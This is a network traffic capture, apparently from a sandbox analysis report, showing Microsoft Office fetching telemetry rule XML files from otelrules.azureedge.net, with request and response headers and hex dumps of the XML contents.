22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.9	49842	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:14 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:14 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:14 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114614Z-16849878b78x6gn56mgecg60qc00000003v0000000003s05 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:14 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.9	49843	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:14 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:14 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09556753-901e-0064-11fd-26e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114614Z-17c5cb586f69w69mgazyf263an000000012g000000006tz3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:15 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.9	49844	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:14 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:15 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: dbdc188e-001e-002b-6b28-2799f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114615Z-16849878b78fssff8btnns3b1400000002a0000000003z6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:15 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.9	49845	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:15 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:15 UTC	584	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:15 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: e081a540-501e-0035-2133-22c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114615Z-16849878b785dznd7xpawq9gcn00000003b00000000088bm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:15 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.9	49846	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:15 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:15 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 8bb74e69-501e-005b-14f3-24d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114615Z-r197bdfb6b4mcssrvu34xzqc540000000210000000004xrn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:15 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.9	49847	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:15 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:15 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114615Z-16849878b78smng4k6nq15r6s400000003eg000000009rhz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:15 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.9	49848	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:15 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:15 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114615Z-16849878b78qfbkc5yywmsbg0c00000001ng000000007atw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:15 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.9	49849	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:15 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:15 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:15 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114615Z-16849878b78fkwcjkpn19c5dsn00000000z0000000008rrw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:15 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.9	49850	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:15 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 5c7ff8c8-901e-0067-7201-27b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114616Z-r197bdfb6b466qclztvgs64z1000000003c0000000008n2q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.9	49851	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:16 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:16 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 63177759-c01e-0046-8028-262db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114616Z-17c5cb586f6z6tw6g7cmdv30m8000000031g0000000080rg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:16 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.9	49852	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:16 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-26 11:46:16 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 11:46:16 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 1da009b5-a01e-0002-0df5-245074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241026T114616Z-15b8d89586fcvr6p5956n5d0rc00000007u0000000006nv9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-26 11:46:16 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.9	49853	13.107.246.42	443

Timestamp	Bytes transferred	Direction	Data
2024-10-26 11:46:16 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
